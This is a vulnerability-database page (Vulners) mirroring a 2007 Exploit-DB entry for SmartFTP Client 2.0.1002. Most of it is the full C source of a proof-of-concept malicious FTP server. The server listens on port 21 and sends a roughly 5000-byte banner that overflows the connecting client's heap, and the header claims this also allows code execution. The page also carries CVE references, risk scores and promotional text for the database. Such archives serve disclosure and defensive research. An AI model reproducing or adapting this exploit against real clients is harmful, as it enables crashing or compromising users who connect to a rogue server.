Lucene search
+L

SmartFTP Client 2.0.1002 - Remote Heap Overflow Denial of Service

🗓️ 06 Feb 2007 00:00:00Reported by MarsuType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

SmartFTP Client v 2.0.1002 Heap Overflow DoS, Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
checkpoint_advisories
Check Point Advisories
Preemptive Protection against SmartFTP Banner Handling Buffer Overflow Vulnerability
27 Feb 200700:00
checkpoint_advisories
cve
CVE
CVE-2007-0790
6 Feb 200719:00
cve
cvelist
Cvelist
CVE-2007-0790
6 Feb 200719:00
cvelist
euvd
EUVD
EUVD-2007-0787
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-0790
6 Feb 200719:28
nvd
prion
Prion
Heap overflow
6 Feb 200719:28
prion
securityvulns
securityvulns
Multiple bugs in FTP clients
9 Jun 200300:00
securityvulns
/***************************************************************************
*              SmartFTP Client v 2.0.1002 Heap Overflow DoS                *
*                                                                          *
*                                                                          *
* There is remote heap overflow in SmartFTP. When the app receives a long  *
* banner (5000 char) the heap is smashed, leading to DoS and to code       *
* execution.                                                               *
*                                                                          *
* There are also two buffer overflow in the fields Address and Login.      *
* I've reported this to Secunia but it seems they didn't think it was dan- *
* gerous cause they didn't publish anything about. However a simple drag'n *
* drop could compromise your system...                                     *
*                                                                          *
* Have Fun!                                                                *
*                                                                          *
* Coded by Marsu <[email protected]>                              *
***************************************************************************/



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{

	char evilbuff[5000];
	sockaddr_in sin;
	int server,client;
	WSADATA wsaData;
	WSAStartup(MAKEWORD(1,1), &wsaData);

	server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	sin.sin_family = PF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	sin.sin_port = htons( 21 );
	bind(server,(SOCKADDR*)&sin,sizeof(sin));
	printf("[*] Listening on port 21...\n");
	listen(server,5);
	printf("[*] Waiting for client ...\n");
	client=accept(server,NULL,NULL);
	printf("[+] Client connected\n");

	memset(evilbuff,'A',5000);
	memcpy(evilbuff,"220 ",4);
	memcpy(evilbuff+4997,"\r\n\0",3);

	if (send(client,evilbuff,strlen(evilbuff),0)==-1)
	{
		printf("[-] Error in send!\n");
		exit(-1);
	}
	printf("[+] Data sent\n");

	Sleep(1500);

	if (send(client,"boom?",5,0)==-1)
	    printf("[+] Crashed? Crashed!\n");
	else
		printf("[-] Exploit failed!\n");

	return 0;
}

// milw0rm.com [2007-02-06]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.04206
27